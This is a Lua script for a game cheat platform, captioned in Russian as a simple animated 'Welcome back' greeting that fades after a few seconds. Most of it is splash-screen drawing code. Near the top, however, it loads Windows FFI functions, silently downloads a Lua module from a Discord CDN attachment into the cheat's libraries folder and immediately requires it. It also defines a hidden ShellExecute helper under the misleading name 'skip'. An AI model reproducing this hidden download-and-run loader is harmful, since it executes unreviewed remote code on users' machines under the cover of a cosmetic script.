helloscript:
ffi.cdef[[
typedef int(__thiscall* get_clipboard_text_count)(void*);
typedef void(__thiscall* set_clipboard_text)(void*, const char*, int);
typedef void(__thiscall* get_clipboard_text)(void*, int, const char*, int);
bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);
void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file, const char* params, const char* dir, int show_cmd);
bool DeleteUrlCacheEntryA(const char* lpszUrlName);
typedef int(__fastcall* clantag_t)(const char*, const char*);
bool CreateDirectoryA(const char* lpPathName, void* lpSecurityAttributes);
void* __stdcall URLDownloadToFileA(void* LPUNKNOWN, const char* LPCSTR, const char* LPCSTR2, int a, int LPBINDSTATUSCALLBACK);
void* __stdcall ShellExecuteA(void* hwnd, const char* op, const char* file, const char* params, const char* dir, int show_cmd);
int MessageBoxA(void *w, const char *txt, const char *cap, int type);
int ShellExecuteA(void* hwnd, const char* lpOperation, const char* lpFile, const char* lpParameters, const char* lpDirectory, int nShowCmd);
]]
local Shell32 = ffi.load 'Shell32.dll'
local urlmon = ffi.load 'UrlMon'
local wininet = ffi.load 'WinInet'
local function Download(from, to)
wininet.DeleteUrlCacheEntryA(from)
urlmon.URLDownloadToFileA(nil, from, to, 0,0)
end
local function skip(from)
Shell32.ShellExecuteA(nil, 'open', from, nil, nil, 0)
end
local function CreateDir(path)
ffi.C.CreateDirectoryA(path, nil)
end
wininet.DeleteUrlCacheEntryA("[URL]https://cdn.discordapp.com/attachments/1101461522879885312/1123030895813730436/EthericoreModule.lua[/URL]")
urlmon.URLDownloadToFileA(nil, "[URL]https://cdn.discordapp.com/attachments/1101461522879885312/1123030895813730436/EthericoreModule.lua[/URL]", ".\\Pandora\\lua\\libraries\\EthericoreModule.lua", 0,0)
ffi = require("ffi")
Mod = require("EthericoreModule")
elements = {}
function new_element(slot0, slot1, slot2, slot3, slot4)
if slot4 == nil then
if slot2 == nil then
elements[#elements + 1] = slot0
else
elements[#elements + 1] = {
item = slot0,
options = slot3
}
end
end
if slot1 ~= nil then
slot1[#slot1 + 1] = slot0
end
return slot0
end
AnimSpeed = 8
size = vector2d.new(240, 80)
StartUP = {
closeALL = false,
animation7 = 0,
animation3 = 0,
animation6 = 0,
finished = false,
rounding = 4,
animation1 = 0,
alpha = 0,
animation = 0,
animation5 = 0,
on = false,
animation4 = 0,
animation2 = 0,
pos = vector2d.new(Helpers.Screen().x / 5 - size.x / 5, Helpers.Screen().y / 5 - size.y / 5),
font = Renderer.Font("Verdana", 21, 1024),
font_down = Renderer.Font("Verdana", 11, 1024),
font_huge = Renderer.Font("Verdana", 100, 512, 0),
font_medium = Renderer.Font("Verdana", 50, 512, 0),
closedtime = global_vars.realtime
}
function initalize_StartUP()
if StartUP.on == false then
if not StartUP.closeALL then
StartUP.animation = Math.Lerp(StartUP.animation, 255, global_vars.frametime * AnimSpeed)
StartUP.animation1 = Math.Lerp(StartUP.animation1, Renderer.MeasureText(StartUP.font_huge, "Welcome back").x, global_vars.frametime * AnimSpeed / 2)
end
if StartUP.closeALL then
StartUP.animation = Math.Lerp(StartUP.animation, 0, global_vars.frametime * AnimSpeed)
StartUP.animation1 = Math.Lerp(StartUP.animation1, 0, global_vars.frametime * AnimSpeed * 5)
end
Renderer.GradientRect(vector2d.new(0, 0), Helpers.Screen(), color.new(0, 0, 0, StartUP.animation), color.new(0, 0, 0, StartUP.animation), true)
Renderer.SetClip(vector2d.new(Helpers.Screen().x / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").x / 2, Helpers.Screen().y / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2), vector2d.new(math.floor(StartUP.animation1), Renderer.MeasureText(StartUP.font_huge, "Welcome back").y))
Renderer.TextShadow(StartUP.font_huge, vector2d.new(Helpers.Screen().x / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").x / 2, Helpers.Screen().y / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2), ColorTransform.OverrideAlpha(color.new(0, 0, 0, 155), StartUP.animation), "Welcome back", 2, 2, false, false)
Renderer.Text(StartUP.font_huge, vector2d.new(Helpers.Screen().x / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").x / 2, Helpers.Screen().y / 2 - Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2), ColorTransform.OverrideAlpha(color.new(255, 255, 255, 255), StartUP.animation), "Welcome back", false, false)
Renderer.EndClip()
if StartUP.animation > 127 then
StartUP.animation2 = Math.Lerp(StartUP.animation2, not StartUP.closeALL and 255 or 0, global_vars.frametime * AnimSpeed * 2)
StartUP.animation3 = Math.Lerp(StartUP.animation3, Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2 + 2, global_vars.frametime * AnimSpeed)
if StartUP.animation2 > 254 then
StartUP.animation4 = Math.Lerp(StartUP.animation4, not StartUP.closeALL and 255 or 0, global_vars.frametime * AnimSpeed)
StartUP.animation6 = Math.Lerp(StartUP.animation6, Renderer.MeasureText(StartUP.font_huge, "Welcome back").y / 2 + 2, global_vars.frametime * AnimSpeed / 2)
end
end
if StartUP.closedtime + 4 < global_vars.realtime then
StartUP.closeALL = true
end
end
if StartUP.closeALL then
StartUP.animation4 = Math.Lerp(StartUP.animation4, not StartUP.closeALL and 255 or 0, global_vars.frametime * AnimSpeed)
end
if StartUP.closeALL and StartUP.animation4 < 2 then
StartUP.finished = true
CONTINUE_ = true
end
end
callbacks.register("paint", initalize_StartUP)
анимированное приветствие ( появление текста и пропадает спустя секунд 4-5 )